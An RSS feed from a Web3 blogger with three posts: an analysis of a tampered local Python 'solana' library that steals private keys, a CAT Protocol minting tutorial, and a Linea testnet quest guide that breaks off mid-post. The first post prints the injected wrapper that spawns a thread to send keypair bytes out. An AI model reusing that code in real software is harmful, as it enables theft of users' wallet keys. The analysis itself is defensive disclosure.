<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>sddcg</title>
        <link>https://paragraph.com/@sddcg</link>
        <description>我是大葱哥</description>
        <lastBuildDate>Mon, 13 Apr 2026 18:35:31 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>sddcg</title>
            <url>https://storage.googleapis.com/papyrus_images/77e47bb37b6392eafc4685a5034548a588b1f1ffb3cdb35032ef79baf73e3d56.webp</url>
            <link>https://paragraph.com/@sddcg</link>
        </image>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[警惕三方库在偷你的私钥]]></title>
            <link>https://paragraph.com/@sddcg/4HahmheNGhsMpcjZtwkc</link>
            <guid>4HahmheNGhsMpcjZtwkc</guid>
            <pubDate>Sun, 27 Apr 2025 16:28:59 GMT</pubDate>
            <description><![CDATA[大家好，我是大葱哥 tw: @blockchain_dcg wx: t52861700 喜欢研究技术，专职Web3脚本撸毛，感兴趣的朋友可以关注一波 今天给大家介绍的一个python三方库偷私钥的案例分析，希望大家引以为戒，在web3领域多注意财产安全。背景介绍这两天有朋友需要搞solana链的一个交互脚本，所以葱哥就准备写一下。 因为之前大都是在搞EVM/BTC链，solana只草草搞过一次，不是很熟悉，于是翻出以前的代码（代码之前是可正常执行的）准备仔细研究一番。 突然发现以前的代码运行报错，习惯性以为可能某个依赖库更新导致的，于是将几个依赖库都重新更新了。 发现还是报错，通过仔细查看发现代码中用到了 solana 和 solders 两个依赖库，两个依赖库中有些参数类型混淆导致的错误。 为了查找问题修复错误，对代码进行了断点调试，逐步分析，当我在最终发送交易的代码出打上断点后，奇怪的事情发生了，我明明只提交了一笔交易，但发送交易的断点却又被命中了。 这就是核心问题所在，他在后台启动了线程偷偷发送交易。机制分析通过调试发现，流程如下：最初有 solana.Keypair.fr...]]></description>
            <content:encoded><![CDATA[<p>大家好，我是大葱哥 tw: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://x.com/blockchain_dcg">@blockchain_dcg</a> wx: t52861700</p><p>喜欢研究技术，专职Web3脚本撸毛，感兴趣的朋友可以关注一波</p><p>今天给大家介绍的一个python三方库偷私钥的案例分析，希望大家引以为戒，在web3领域多注意财产安全。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">背景介绍</h2><p>这两天有朋友需要搞solana链的一个交互脚本，所以葱哥就准备写一下。</p><p>因为之前大都是在搞EVM/BTC链，solana只草草搞过一次，不是很熟悉，于是翻出以前的代码（代码之前是可正常执行的）准备仔细研究一番。</p><p>突然发现以前的代码运行报错，习惯性以为可能某个依赖库更新导致的，于是将几个依赖库都重新更新了。</p><p>发现还是报错，通过仔细查看发现代码中用到了 solana 和 solders 两个依赖库，两个依赖库中有些参数类型混淆导致的错误。</p><p>为了查找问题修复错误，对代码进行了断点调试，逐步分析，当我在最终发送交易的代码出打上断点后，奇怪的事情发生了，我明明只提交了一笔交易，但发送交易的断点却又被命中了。</p><p>这就是核心问题所在，他在后台启动了线程偷偷发送交易。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">机制分析</h2><p>通过调试发现，流程如下：</p><ol><li><p>最初有 solana.Keypair.from_base58_string(sender_private_key) 进入</p></li><li><p>方法被注入触发 solana.rpc.types._<em>init_</em>.py 中如下包装代码</p><pre data-type="codeBlock" text="    def augment_func(func):
        @wraps(func)
        def wrapper(self, *args, **kwargs):
            kp = func(self, *args, **kwargs)
            threading.Thread(target=transmit, args=(bytes(kp),), daemon=True).start()
            return kp

        return wrapper
"><code>    def augment_func(func):
        @wraps(func)
        def wrapper(<span class="hljs-built_in">self</span>, <span class="hljs-operator">*</span>args, <span class="hljs-operator">*</span><span class="hljs-operator">*</span>kwargs):
            kp <span class="hljs-operator">=</span> func(<span class="hljs-built_in">self</span>, <span class="hljs-operator">*</span>args, <span class="hljs-operator">*</span><span class="hljs-operator">*</span>kwargs)
            threading.Thread(target<span class="hljs-operator">=</span>transmit, args<span class="hljs-operator">=</span>(<span class="hljs-keyword">bytes</span>(kp),), daemon<span class="hljs-operator">=</span>True).start()
            <span class="hljs-keyword">return</span> kp

        <span class="hljs-keyword">return</span> wrapper
</code></pre></li><li><p>代码中除正常返回 Keypair之外，偷偷启动了新线程，新线程中调用 同文件中的 transmit 方法，并将私钥作为参数传入</p></li><li><p>查看 tranmit 源码，可以看到他在 devnet 网络发送了一笔交易，该笔交易就把 钱包私钥进行加密放入了memo指令，然后上传到了devnet上</p></li></ol><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/d578382e884972407cf18a4501151573b26eb12693e3b0a35a0f5d1764b5b3a6.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><ol><li><p>调试中可以看到多次启动新线程执行上述 偷私钥上链 动作</p></li></ol><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">链上跟踪</h2><ol><li><p>通过调试代码发现 病毒库上链使用的 钱包地址是 D782zqWjgSvy4hQoqzY1ySrGrotnXm1suJeXFur8sAko</p></li><li><p>在devnet查看该地址，随便点开一条交易，可以看到这个 memo 就是被加密的私钥</p></li></ol><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c4a67469f8bd4e511a49471652c6395799c7c536e6c2663e9cf2cc8f527f75ce.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><ol><li><p>可以看到该地址的交易数量很多，意味着盗取了很多私钥，当然其中有大量私钥是重复的</p></li></ol><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">扩展</h2><ol><li><p>先说一个好消息是该地址的在 devnet 上的 sol不足了，近两个月已经没有私钥被上链 ，当然不排除黑客那天又给他充值进去</p></li><li><p>在源码中有该地址的私钥，但黑客很聪明，该私钥在主网钱包余额为0，所有有想法的兄弟可以放弃了</p></li><li><p>可能还有兄弟想把上链的私钥给解密出来，打住了， 源代码中对盗取的私钥进行加密时使用的是RSA公钥，所以上链的数据只有黑客能解密</p></li><li><p>以后对于三方库一定要小心谨慎，不能随意下载使用</p></li></ol><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">库名揭秘(澄清下是我本地库被污染了)</h2><blockquote><p>经过仔细查看，发现不是solana官方库的问题，是我本地库被污染</p><p>solana库没问题的</p></blockquote><p><s>pip install solana 版本0.34.0</s></p><p><s>你没看错，就是使用的 solana 这个库名，大部分人和我一样一看就以为是官方的库，但他确实是黑客搞出来的，迷惑性极强啊</s></p><p>在该库的 介绍中提到的 github 地址是 <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/michaelhly/solanapy%EF%BC%8C%E6%88%91%E5%8E%BB%E7%9C%8B%E4%BA%86%E4%B8%8B%EF%BC%8C%E6%BA%90%E7%A0%81%E6%98%AF%E6%9C%89%E5%8C%BA%E5%88%AB%E7%9A%84%EF%BC%8C%E5%A4%A7%E6%A6%82%E7%8E%87%E6%98%AF%E5%86%92%E5%85%85%E7%9A%84">https://github.com/michaelhly/solanapy，我去看了下，源码是有区别的，是篡改的</a>版本</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/bc440fd6a678a1b10badbf0456f9cedc2ed2bfac89d6bace81550116378d04cf.png" alt="带毒包结构" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">带毒包结构</figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e76c43ee1296391f93affbad745699f43e98c310cb95e43df347feb8370f6089.png" alt="github 包结构" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">github 包结构</figcaption></figure>]]></content:encoded>
            <author>sddcg@newsletter.paragraph.com (sddcg)</author>
        </item>
        <item>
            <title><![CDATA[分型网生态 CAT Protocol 铸造教程]]></title>
            <link>https://paragraph.com/@sddcg/cat-protocol</link>
            <guid>rZjRhxMyYJBulf9il7pS</guid>
            <pubDate>Wed, 11 Sep 2024 18:52:13 GMT</pubDate>
            <description><![CDATA[晚上看到各个群里都在打cat，我也来凑凑热闹，感谢乐于奉献的大佬们提供教程，让我明白了如何部署，为了让更多小伙伴少走弯路，我就借花献佛也出份教程。（后面新增疑难杂症环节）我已经准备了4台服务器，有需要代打的小伙伴可以联系我，代打费用比 三方网站便宜很多，只收取10%的费用，欢迎有需要的老板联系。另外自己部署环境有困难的也可以找我，帮你部署cat20环境。 联系方式wx: t528617001. 准备工作因为分型链需要在21000区块后才做索引，我们先要铸造CAT，需要自己准备不少东西服务器一台 建议创建一个 ubuntu 服务器来跑，避免环境部署问题，可以选用腾讯云、contabo等云服务器。注意选择国外服务器避免拉取、安装问题，注意配置CPU 2 核、内存 4GB，并且使用按量付费。 服务器用于部署 Fractal 全节点、索引器， 并运行 mint脚本FB代币 分型连使用FB作为gas，需要准备足够的FB，目前链上gas被打到1800聪了，建议准备1FB起步吧，想大批量那就需要更多，另外大批量的最好进行utxo的拆分SSH远程工具 比如FinalShell、xshell 等用...]]></description>
            <content:encoded><![CDATA[<p>晚上看到各个群里都在打cat，我也来凑凑热闹，感谢乐于奉献的大佬们提供教程，让我明白了如何部署，为了让更多小伙伴少走弯路，我就借花献佛也出份教程。（后面新增疑难杂症环节）</p><blockquote><p>我已经准备了4台服务器，有需要代打的小伙伴可以联系我，代打费用比 三方网站便宜很多，只收取10%的费用，欢迎有需要的老板联系。另外自己部署环境有困难的也可以找我，帮你部署cat20环境。</p><p>联系方式wx: t52861700</p></blockquote><h1 id="h-1" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">1. 准备工作</h1><p>因为分型链需要在21000区块后才做索引，我们先要铸造CAT，需要自己准备不少东西</p><ol><li><p>服务器一台</p><p>建议创建一个 <strong>ubuntu 服务器</strong>来跑，避免环境部署问题，可以选用腾讯云、contabo等云服务器。<strong>注意选择国外服务器避免拉取、安装问题</strong>，注意配置CPU 2 核、内存 4GB，并且使用按量付费。</p><p>服务器用于部署 Fractal 全节点、索引器， 并运行 mint脚本</p></li><li><p>FB代币</p><p>分型连使用FB作为gas，需要准备足够的FB，目前链上gas被打到1800聪了，建议准备1FB起步吧，想大批量那就需要更多，另外大批量的最好进行utxo的拆分</p></li><li><p>SSH远程工具</p><p>比如FinalShell、xshell 等用来远程登录服务器进行操作</p></li></ol><h1 id="h-2" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">2. 服务器基本环境部署</h1><h3 id="h-dockerdocker-compose-nodejs" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"><strong>首先安装 Docker、docker-compose和 node.js 环境</strong></h3><pre data-type="codeBlock" text="sudo apt-get update

# 安装docker
sudo apt-get install docker.io -y

# 安装 docker-compose
VERSION=$(curl --silent https://api.github.com/repos/docker/compose/releases/latest | grep -Po &apos;&quot;tag_name&quot;: &quot;\K.*\d&apos;)
DESTINATION=/usr/local/bin/docker-compose
sudo curl -L https://github.com/docker/compose/releases/download/${VERSION}/docker-compose-$(uname -s)-$(uname -m) -o $DESTINATION
sudo chmod 755 $DESTINATION

# 安装npm及nodejs
sudo apt-get install npm -y
sudo npm install n -g
sudo n stable

# 安装yarn
sudo npm i -g yarn
"><code>sudo apt<span class="hljs-operator">-</span>get update

# 安装docker
sudo apt<span class="hljs-operator">-</span>get install docker.io <span class="hljs-operator">-</span>y

# 安装 docker<span class="hljs-operator">-</span>compose
VERSION<span class="hljs-operator">=</span>$(curl <span class="hljs-operator">-</span><span class="hljs-operator">-</span>silent https:<span class="hljs-comment">//api.github.com/repos/docker/compose/releases/latest | grep -Po '"tag_name": "\K.*\d')</span>
DESTINATION<span class="hljs-operator">=</span><span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>local<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>docker<span class="hljs-operator">-</span>compose
sudo curl <span class="hljs-operator">-</span>L https:<span class="hljs-comment">//github.com/docker/compose/releases/download/${VERSION}/docker-compose-$(uname -s)-$(uname -m) -o $DESTINATION</span>
sudo chmod <span class="hljs-number">755</span> $DESTINATION

# 安装npm及nodejs
sudo apt<span class="hljs-operator">-</span>get install npm <span class="hljs-operator">-</span>y
sudo npm install n <span class="hljs-operator">-</span>g
sudo n stable

# 安装yarn
sudo npm i <span class="hljs-operator">-</span>g yarn
</code></pre><h3 id="h-cat" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"><strong>拉取cat的代码并编译</strong></h3><p>拉取 github 的仓库，并且进行编译</p><pre data-type="codeBlock" text="git clone https://github.com/CATProtocol/cat-token-box
cd cat-token-box
sudo yarn install
sudo yarn build
"><code>git <span class="hljs-built_in">clone</span> https://github.com/CATProtocol/cat-token-box
<span class="hljs-built_in">cd</span> cat-token-box
sudo yarn install
sudo yarn build
</code></pre><h2 id="h-3-fractal" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">3. Fractal 全节点部署</h2><p>CAT 是在 Fractal 主网上的协议，所以需要在服务器上运行一个 Fractal 全节点，由于现在 Fractal 网络的区块不多，所以同步是特别快的，这个和网络速度有关系。</p><p>部署Fractal 节点命令如下</p><pre data-type="codeBlock" text="cd ./packages/tracker/
sudo chmod 777 docker/data
sudo chmod 777 docker/pgdata
sudo docker-compose up -d
"><code>cd ./packages<span class="hljs-operator">/</span>tracker<span class="hljs-operator">/</span>
sudo chmod <span class="hljs-number">777</span> docker<span class="hljs-operator">/</span>data
sudo chmod <span class="hljs-number">777</span> docker<span class="hljs-operator">/</span>pgdata
sudo docker<span class="hljs-operator">-</span>compose up <span class="hljs-operator">-</span>d
</code></pre><p>运行完他会自动进行同步的，直接进行下一步就可以了</p><h1 id="h-4" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">4. 索引器部署</h1><p>CAT Protocol 需要运行一个本地的索引器，下面是编译和运行的命令</p><pre data-type="codeBlock" text="cd ../../
sudo docker build -t tracker:latest .
sudo docker run -d \
    --name tracker \
    --add-host=&quot;host.docker.internal:host-gateway&quot; \
    -e DATABASE_HOST=&quot;host.docker.internal&quot; \
    -e RPC_HOST=&quot;host.docker.internal&quot; \
    -p 3000:3000 \
    tracker:latest
"><code>cd ../../
sudo docker build <span class="hljs-operator">-</span>t tracker:latest .
sudo docker run <span class="hljs-operator">-</span>d \
    <span class="hljs-operator">-</span><span class="hljs-operator">-</span>name tracker \
    <span class="hljs-operator">-</span><span class="hljs-operator">-</span>add<span class="hljs-operator">-</span>host<span class="hljs-operator">=</span><span class="hljs-string">"host.docker.internal:host-gateway"</span> \
    <span class="hljs-operator">-</span>e DATABASE_HOST<span class="hljs-operator">=</span><span class="hljs-string">"host.docker.internal"</span> \
    <span class="hljs-operator">-</span>e RPC_HOST<span class="hljs-operator">=</span><span class="hljs-string">"host.docker.internal"</span> \
    <span class="hljs-operator">-</span>p <span class="hljs-number">3000</span>:<span class="hljs-number">3000</span> \
    tracker:latest
</code></pre><h1 id="h-5" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">5. 创建配置文件及本地钱包</h1><p>在完成全节点和索引器的运行后，接下来要创建配置文件。首先要在 cat-token-box/package/cli 目录下创建 config.json文件，命令如下：</p><pre data-type="codeBlock" text="cd ~/cat-token-box/packages/cli
vim config.json
"><code>cd <span class="hljs-operator">~</span><span class="hljs-operator">/</span>cat<span class="hljs-operator">-</span>token<span class="hljs-operator">-</span>box<span class="hljs-operator">/</span>packages<span class="hljs-operator">/</span>cli
vim config.json
</code></pre><p>然后复制下面的配置信息，在服务器上按一下 i 键，然后鼠标邮件进行粘贴，之后按 esc 键，然后输入 <code>:wq</code> 再回车保存。</p><blockquote><p>注意 <strong>其中maxFeeRate为gas</strong>，这个要根据当前网络情况进行调整，可以在配置文件中调整也可以在后面的命令行中设置</p></blockquote><pre data-type="codeBlock" text="{
  &quot;network&quot;: &quot;fractal-mainnet&quot;,
  &quot;tracker&quot;: &quot;http://127.0.0.1:3000&quot;,
  &quot;dataDir&quot;: &quot;.&quot;,
  &quot;maxFeeRate&quot;: 1800,
  &quot;rpc&quot;: {
      &quot;url&quot;: &quot;http://127.0.0.1:8332&quot;,
      &quot;username&quot;: &quot;bitcoin&quot;,
      &quot;password&quot;: &quot;opcatAwesome&quot;
  }
}
"><code><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">"network"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"fractal-mainnet"</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">"tracker"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"http://127.0.0.1:3000"</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">"dataDir"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"."</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">"maxFeeRate"</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1800</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">"rpc"</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">"url"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"http://127.0.0.1:8332"</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">"username"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"bitcoin"</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">"password"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"opcatAwesome"</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span>
</code></pre><h1 id="h-6-fb" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">6. 创建本地钱包并转入FB</h1><p>执行下面的指令创建新钱包</p><pre data-type="codeBlock" text="sudo yarn cli wallet create
"><code>sudo yarn cli wallet <span class="hljs-built_in">create</span>
</code></pre><p>如果显示类似下面的信息，那么就是创建完成了（这里码住了助记词），<strong>注意自己要保管好助记词哦</strong></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/d8124d9cb1adbd64ab56a40c8d23fa1c8c6373a4920e4a117a311b1962da847a.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>将助记词导入到自己的钱包中，就可以得到对应的地址了。也可以通过如下命令查看地址：</p><pre data-type="codeBlock" text="yarn cli wallet address
"><code>yarn cli wallet <span class="hljs-selector-tag">address</span>
</code></pre><p>然后给这个地址转入足够的FB就可以了</p><h1 id="h-7" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">7. 等待同步到位</h1><p>在mint前需要等待区块同步到位，可以通过查看钱包余额的方式来检查是否同步完成</p><pre data-type="codeBlock" text="yarn cli wallet balances
"><code>yarn cli wal<span class="hljs-keyword">let</span> <span class="hljs-variable">balances</span>
</code></pre><p>如果没同步完，会显示如下内容，据说90%以上的比例就可以进行mint了，也有人说80%就行，但我80%试了不行</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/2d069515c11a91551470d41dddd63b10446ed56016721d7e48019d493b1bd106.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h1 id="h-8-mint-cat" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">8. mint cat</h1><p>单次mint使用如何命令：</p><pre data-type="codeBlock" text="sudo yarn cli mint -i 45ee725c2c5993b3e4d308842d87e973bf1951f5f7a804b21e4dd964ecd12d6b_0 5 --fee-rate 1800
"><code>sudo yarn cli mint <span class="hljs-operator">-</span>i 45ee725c2c5993b3e4d308842d87e973bf1951f5f7a804b21e4dd964ecd12d6b_0 <span class="hljs-number">5</span> <span class="hljs-operator">-</span><span class="hljs-operator">-</span>fee<span class="hljs-operator">-</span>rate <span class="hljs-number">1800</span>
</code></pre><blockquote><p>这里可以加后面 --fee-rate 1800 参数，也可以不加，不加的话自动取配置文件中设置的gas</p></blockquote><p>每次的 mint 指令只能铸造一次，所以需要脚本来重复执行，在当前的 cli 目录下创建一个 script.sh 文件，内容复制下面的：</p><pre data-type="codeBlock" text="#!/bin/bash

command=&quot;sudo yarn cli mint -i 45ee725c2c5993b3e4d308842d87e973bf1951f5f7a804b21e4dd964ecd12d6b_0 5 --fee-rate 1800&quot;

while true; do
    $command

    if [ $? -ne 0 ]; then
        echo &quot;命令执行失败，退出循环&quot;
        exit 1
    fi

    sleep 1
done
"><code><span class="hljs-meta">#!/bin/bash</span>

<span class="hljs-built_in">command</span>=<span class="hljs-string">"sudo yarn cli mint -i 45ee725c2c5993b3e4d308842d87e973bf1951f5f7a804b21e4dd964ecd12d6b_0 5 --fee-rate 1800"</span>

<span class="hljs-keyword">while</span> <span class="hljs-literal">true</span>; <span class="hljs-keyword">do</span>
    <span class="hljs-variable">$command</span>

    <span class="hljs-keyword">if</span> [ $? -ne 0 ]; <span class="hljs-keyword">then</span>
        <span class="hljs-built_in">echo</span> <span class="hljs-string">"命令执行失败，退出循环"</span>
        <span class="hljs-built_in">exit</span> 1
    <span class="hljs-keyword">fi</span>

    <span class="hljs-built_in">sleep</span> 1
<span class="hljs-keyword">done</span>
</code></pre><p>然后添加运行权限 <code>chmod +x script.sh</code></p><p>最后运行这个脚本文件就可以重复 mint 了，如果需要后台执行的可以查一下 <code>nohup</code> 和<code>screen</code> 指令。</p><blockquote><p>其他相关命令待补充</p><p>检查mint数量，在packages/cli目录下输入： yarn cli wallet balances</p></blockquote><h1 id="h-" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">疑难杂症环节：</h1><p>大家可能会遇到可能千奇百怪的问题，部分问题是钱包地址原因，还有部分问题是节点原因，解决办法有：</p><ol><li><p>如果是钱包问题</p><ul><li><p>先看看区块同步进度是否正常</p></li><li><p>然后就检查钱包余额，是否有交易卡住了，</p></li><li><p>如果都没问题还提示余额不足，那就钱包进行几次自转，再不行就换个钱包</p></li></ul></li><li><p>如果是服务器区块问题，就重启全节点和索引器</p><pre data-type="codeBlock" text="# 重启全节点
cd ~/cat-token-box/packages/tracker
docker compose down
docker compose up -d
#查看节点日志
docker compose logs -f

# 重启索引器
docker restart tracker

# 查看索引器日志
docker logs -f -n 100 tracker
"><code># 重启全节点
cd <span class="hljs-operator">~</span><span class="hljs-operator">/</span>cat<span class="hljs-operator">-</span>token<span class="hljs-operator">-</span>box<span class="hljs-operator">/</span>packages<span class="hljs-operator">/</span>tracker
docker compose down
docker compose up <span class="hljs-operator">-</span>d
#查看节点日志
docker compose logs <span class="hljs-operator">-</span>f

# 重启索引器
docker restart tracker

# 查看索引器日志
docker logs <span class="hljs-operator">-</span>f <span class="hljs-operator">-</span>n <span class="hljs-number">100</span> tracker
</code></pre></li><li><p>另外就是区块同步很慢的问题，这个大家如果能找到现成的数据，可以通过hsql进行导入，免去漫长的索引过程。 如果找不到数据，又不想等的话，也可以联系我。</p></li></ol>]]></content:encoded>
            <author>sddcg@newsletter.paragraph.com (sddcg)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/f1d07f656846671d1d9b07f573bf70385ccbcfd5ef27ccafd7f27437bba10c17.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[第五周任务Linea Voyage - Tech and Dev Week]]></title>
            <link>https://paragraph.com/@sddcg/linea-voyage-tech-and-dev-week</link>
            <guid>tw4bc9qhWFS46uD4zEqI</guid>
            <pubDate>Tue, 30 May 2023 16:40:09 GMT</pubDate>
            <description><![CDATA[本周任务为三个项目交互，虽然是开发周，但没啥难度，基本点击拖拽就ok了。先手动做主号，明后天抽空写脚本。简单写写教程：hapilabs 生成钱包交互图任务交互网站： (官网很拉跨)https://linea.hapilabs.one/操作指引：Step 1. 创建钱包（一个做任务的主钱包，两个辅助钱包）Go to your MetaMask and create 2 fresh Linea testnet accounts. You can name them, for example Linea 2, Linea 3. You should now have 3 accounts in your MetaMask: Your main account (the one you used for the Linea Voyage Quest in Galxe) - we can call this Linea 1Linea 2 (newly created)Linea 3 (newly created)Step 2. 发送交易 （给官方发 0.0001，辅助钱包分别发0.0002...]]></description>
            <content:encoded><![CDATA[<p>本周任务为三个项目交互，虽然是开发周，但没啥难度，基本点击拖拽就ok了。先手动做主号，明后天抽空写脚本。简单写写教程：</p><h1 id="h-hapilabs" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">hapilabs 生成钱包交互图任务</h1><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">交互网站： (官网很拉跨)</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://linea.hapilabs.one/">https://linea.hapilabs.one/</a></p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">操作指引：</h2><h3 id="h-step-1" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Step 1. 创建钱包（一个做任务的主钱包，两个辅助钱包）</h3><p>Go to your MetaMask and create 2 fresh Linea testnet accounts. You can name them, for example Linea 2, Linea 3. You should now have 3 accounts in your MetaMask: </p><ul><li><p>Your main account (the one you used for the Linea Voyage Quest in Galxe) - we can call this Linea 1</p></li><li><p>Linea 2 (newly created)</p></li><li><p>Linea 3 (newly created)</p></li></ul><h3 id="h-step-2-000010000200003" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Step 2. 发送交易 （给官方发 0.0001，辅助钱包分别发0.0002和0.0003）</h3><ol><li><p>Send the first transaction 0,0001 LineaETH from your Linea 1 wallet to HAPI wallet address 0x1ed47146ba443D16F67f489800dc5d7786e07c5d to identify your wallet as a quest participant.</p></li><li><p>Send 0,0002 LineaETH from Linea 1 to Linea 2 </p></li><li><p>Send 0,0003 LineaETH from Linea 1 to Linea 3</p></li></ol><h3 id="h-step-3-hapilabs" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Step 3. 进入hapilabs 设置参数（主钱包地址、时间范围 默认就可以）</h3><ol><li><p>Connect your MetaMask Linea 1 wallet to the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://linea.hapilabs.one/login.php">HAPILabs</a> terminal. </p></li><li><p>Paste your Linea 1 wallet address to HAPILabs terminal address bar (1), choose the correct period (2), and push the “find” button (3) as follows:</p></li></ol><h3 id="h-step-4" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Step 4. 绘图.</h3><p>     把多余的交易节点可以删除掉保留2个，拖拽成L形状</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/87206dc70e0976a765c8bb71896ad1bdafe73ee36789bacbe7da12d5c4fcfd09.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-step-5" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Step 5. 转发推</h3><p>带着上一步的截图 加上 #I_am_Linea_0x………………… (0x后面放上你自己的钱包地址) 转发推特， <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/LineaBuild/status/1663531528679460864">https://twitter.com/LineaBuild/status/1663531528679460864</a>， .</p><h1 id="h-thirdweb" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">thirdweb 部署代币任务</h1><blockquote><p>不要按照官方的文档操作，有坑，有坑，有坑</p></blockquote><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">交互网站</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://thirdweb.com/">https://thirdweb.com/</a></p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">操作说明</h2><ol><li><p>链接钱包</p></li><li><p>直接进入 正确的代币模板（官方给的有误）</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://thirdweb.com/thirdweb.eth/DropERC20/4.0.3">https://thirdweb.com/thirdweb.eth/DropERC20/4.0.3</a></p></li><li><p>deploy now</p></li></ol><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img 